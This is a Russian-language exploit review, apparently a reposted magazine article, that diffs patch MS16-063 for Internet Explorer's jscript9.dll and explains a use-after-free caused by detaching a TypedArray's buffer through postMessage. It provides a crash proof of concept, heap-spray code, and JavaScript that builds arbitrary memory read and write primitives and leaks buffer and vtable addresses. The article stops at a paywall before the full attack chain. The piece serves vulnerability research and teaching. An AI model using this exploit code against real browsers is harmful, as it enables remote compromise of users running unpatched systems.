События

Обзор эксплоитов #210. Удаленное выполнение кода в MSIE и целочисленное переполнение в Windows

Обзор эксплоитов #210. Удаленное выполнение кода в MSIE и целочисленное переполнение в Windows

В сегодняшнем обзоре мы рассмотрим исследование патчей к Windows. Для примера возьмем патчи MS16-039 и MS16-063, проанализируем их и создадим небольшие proofs of concept на основе найденных уязвимостей.

MS16-063: Удаленное выполнение кода

CVSSv2

Нет

BRIEF

Дата релиза: 27 июня 2016 года
Автор: Theori
CVE: нет

Патч MS16-063 закрывает несколько серьезных дыр в Internet Explorer (некоторые из них ведут к удаленному исполнению кода). Сравним запатченную и уязвимую версии библиотеки jscript9.dll при помощи BinDiff.

Изменения, отноcящиеся к классу TypedArray, в пропатченной вeрсии библиотеки jscript9.dll

Изменения, относящиеся к классу TypedArray, в пропатченной версии библиотеки jscript9.dll

Найти нужные функции непросто: в файле куча изменений. Но если присмотреться, то можно заметить, что в основном они коснулись функций DirectGetItem и DirectSetItem для разных типов класса TypedArray. Еще есть изменения в функциях GetValue и SetValue класса DataView.

Изменения, связанные с классом DataView

Изменения, связанные с классом DataView

Более подробно про TypedArray ты можешь узнать из документации. Если вкратце, то он поддерживает доступ к «сырым» данным, основанным на ArrayBuffer. Напрямую ArrayBuffer недоступен, и его нельзя изменять, кроме как через интерфейс высокого уровня view. View предоставляет контекст, который включает в себя тип, смещение и количество элементов.

С помощью DataView мы получаем возможность чтения и записи данных в произвольном порядке следования (endianness). А с помощью TypedArray, как и предполагает название, мы можем определить тип данных элементов массива. Типы бывают такие:

  • Int8Array: знаковое 8-битное целое число;
  • Uint8Array: беззнаковое 8-битное целое число;
  • Uint8ClampedArray: сжатое беззнаковое 8-битное целое число (сжато до диапазона от 0 до 255);
  • Int16Array: знаковое 16-битное целое число;
  • Uint16Array: беззнаковое 16-битное целое число;
  • Int32Array: знаковое 32-битное целое число;
  • Uint32Array: беззнаковое 32-битное целое число;
  • Float32Array: 32-битное число с плавающей запятой (float);
  • Float64Array: 64-битное числo с плавающей запятой (double).

TypedArray и DataView в некотором смысле схожи. Оба предоставляют доступ или изменяют сырые данные. Итак, что же патч изменил в этих функциях?

В графовом представлении хорошо видно, какой код был добавлен (блоки красного цвета).

Июньская и майская версии библиотеки jscript9.dll

Июньская и майская версии библиотеки jscript9.dll

Перед патчем DirectGetItem и DirectSetItem для каждого типа массива просто проверяли, находится ли index в его пределах, а затем обращались к буферу.

Функция GetDirectItem (майская версия)

Функция GetDirectItem (майская версия)

На псевдокоде это можно описать примерно так:

inline Var DirectGetItem(__in uint32 index)  {    if (index < GetLength())    {      TypeName* typedBuffer = (TypeName*)buffer;      return JavascriptNumber::ToVar(        typedBuffer[index], GetScriptContext()      );    }    return GetLibrary()->GetUndefined();  }

Заметь, что здесь нет проверки самого буфера. Буфер мог быть «отсоединен» (detached) до момента обращения или изменения, что приводит к уязвимости типа UAF.

Мы можем отсоединить ArrayBuffer при передаче, используя postMessage. Ниже представлен пример кода для этого (ab — ArrayBuffer).

function detach(ab) {    postMessage("", "*", [ab]);  }

Код, который был добавлен в патче, проверяет, был ли отсоединен буфер для предотвращения UAF.

Функция GetDirectItem (июньская версия)

Функция GetDirectItem (июньская версия)

Забавный факт — эта уязвимость уже былa запатчена (возможно, при рефакторинге) в ChakraCore в соответствующем коммите.

inline Var BaseTypedDirectGetItem(__in uint32 index)  {    if (this->IsDetachedBuffer()) // 9.4.5.8 IntegerIndexedElementGet    {      JavascriptError::ThrowTypeError(GetScriptContext(), JSERR_DetachedTypedArray);    }      if (index < GetLength())    {      Assert((index + 1)* sizeof(TypeName)+GetByteOffset() <= GetArrayBuffer()->GetByteLength());      TypeName* typedBuffer = (TypeName*)buffer;      return JavascriptNumber::ToVar(typedBuffer[index], GetScriptContext());    }    return GetLibrary()->GetUndefined();  }

После патча код в jscript9 также ищет отсоединенный буфер в DataView и TypedArray.

EXPLOIT

Сделаем для начала небольшой PoC. Для этого понадобится:

  1. Создать TypedArray. Мы можем выбрать любой тип, но воспользуемся Int8Array.
  2. «Отсоединить» ArrayBuffer с помощью Int8Array из шага 1. Для этого освободим буфер.
  3. Обратиться к освобожденному буферу, получив или установив элементы, используя Int8Array.

И получаем креш.

<html>    <body>      <script>        function pwn() {          var ab = new ArrayBuffer(1000 * 1024);          var ia = new Int8Array(ab);          detach(ab);          setTimeout(main, 50, ia);            function detach(ab) {            postMessage("", "*", [ab]);          }            function main(ia) {            ia[100] = 0x41414141;          }        }        setTimeout(pwn, 50);      </script>    </body>  </html>

Успешное срабатывание PoC для MS16-063

Успешное срабатывание PoC для MS16-063

В нашем конкретном случае падение происходит в момент записи данных в освобожденную память (то есть ia[100] указывает на освобожденную память). Для успешной эксплуатации мы хотим выделить объекты: мы создадим их и будем контролировать их метаданные. Это даст нам возможность читать и писать произвольную память.

В качестве тестового стенда автор эксплоита использует виртуальную машину, представленную компанией Microsoft для тестирования приложений в различных версиях браузеров, — modern.ie. Была выбрана машина с Windows 7 и Internet Explorer 11. Такая ВМ хороша тем, что заведомо уязвима из-за отсутствия обновления.

Как показано выше, для начала мы выделяем объект ArrayBuffer, который будет передан в Int8Array. Большой ArrayBuffer (около двух мегабайт) нужен потому, что память будет возвращена обратно в ОС после освобождения. А для эксплуатации в этом варианте точный размер не так важен.

var ab = new ArrayBuffer(2123 * 1024);  var ia = new Int8Array(ab);

После того как мы «отсоединим» буфер и стриггерим сборщик памяти (он освободит выделенную память с помощью VirtualFree), мы заполним это пространство достаточно маленькими объектами. Затем мы сможем их изменять.

var ab2 = new ArrayBuffer(0x1337);  function sprayHeap() {    for (var i = 0; i < 100000; i++) {      arr[i] = new Uint8Array(ab2);    }  }

Это вызовет LFH (Low-fragmentation Heap) для размера класса sizeof(Uint8Array). Память будет выделяться через VirtualAlloc.

Как это сработает, можно увидеть в VMMap. Примеры представлены на скриншотах.

VMMap до выделения памяти для ArrayBuffer

VMMap до выделения памяти для ArrayBuffer

После выделения памяти для ArrayBuffer

После выделения памяти для ArrayBuffer

После отсоединения буфера

После отсоединения буфера

После выделения памяти для Uint8Arrays (LFH)

После выделения памяти для Uint8Arrays (LFH)

Теперь нам нужно определить местоположение одного из созданных объектов Uint8Array. Так как длина элементов класса Uint8Arrayравна четырем байтам, то мы ищем длину, указанную для ab2 (0x1337). И после того, как найдем, начинаем увеличивать длину, чтобы определить соответствующий индекс массива в arr.

for (var i = 0; ia[i] != 0x37 || ia[i+1] != 0x13 || ia[i+2] != 0x00 || ia[i+3] != 0x00; i++)  {    if (ia[i] === undefined)      return;  }    ia[i]++;  lengthIdx = i;    try {    for (var i = 0; arr[i].length != 0x1338; i++);  } catch (e) {    return;  }    mv = arr[i];

Вынесем объект Uint8Array в отдельную переменную mv, чтобы использовать для чтения и записи произвольной памяти. Обрати внимание, что довольно просто получить адреса буфера и vftable (для Uint8Array).

function ub(sb) {    return (sb < 0) ? sb + 0x100 : sb;  }    var bufaddr = ub(ia[lengthIdx + 4]) | ub(ia[lengthIdx + 4 + 1]) << 8 | ub(ia[lengthIdx + 4 + 2]) << 16 | ub(ia[lengthIdx + 4 + 3]) << 24;  var vtable = ub(ia[lengthIdx - 0x1c]) | ub(ia[lengthIdx - 0x1b]) << 8 | ub(ia[lengthIdx - 0x1a]) << 16 | ub(ia[lengthIdx - 0x19]) << 24;

Добавим дополнительные функции.

function setAddress(addr) {    ia[lengthIdx + 4] = addr & 0xFF;    ia[lengthIdx + 4 + 1] = (addr >> 8) & 0xFF;    ia[lengthIdx + 4 + 2] = (addr >> 16) & 0xFF;    ia[lengthIdx + 4 + 3] = (addr >> 24) & 0xFF;  }    function readN(addr, n) {    if (n != 4 && n != 8)      return 0;    setAddress(addr);    var ret = 0;    for (var i = 0; i < n; i++)      ret |= (mv[i] << (i * 8))    return ret;  }    function writeN(addr, val, n) {    if (n != 2 && n != 4 && n != 8)      return;    setAddress(addr);    for (var i = 0; i < n; i++)      mv[i] = (val >> (i * 8)) & 0xFF  }

Дальше есть множество путей развития атаки, и все они зависят от окружения. К примеру, если это Windows 7 и Internet Explorer 11, то план атаки следующий.

Извини, но продолжение статьи доступно только подписчикам

Вариант 1. Подпишись на журнал «Хакер» по выгодной цене

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем банковские карты, Яндекс.Деньги и оплату со счетов мобильных операторов. Подробнее о проекте

1 год

3900 р.

Экономия 900 рублей!

1 месяц

400 р.

25-30 статей в месяц

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: в каждом выпуске журнала можно открыть не более одной статьи.

Уже подписан?

Автор: Сергей Куприянов
4.08.2016 (14:30)
Пройди тест и узнай об этом!
Информер новостей
Расширение для Google Chrome
Пишите нам

Редакция: info@alterprogs.ru

Реклама: adv@alterprogs.ru

Все права защищены © 2010-2019

"Alterprogs.ru" - технологии будущего

Контакты  | Карта сайта

Использование любых материалов, размещенных на сайте, разрешается при условии ссылки на alterprogs.ru. Для интернет-изданий - обязательна прямая открытая для поисковых систем гиперссылка. Ссылка должна быть размещена в независимости от полного либо частичного использования материалов. Материалы в рубрике "Новости партнеров" публикуются на правах рекламы.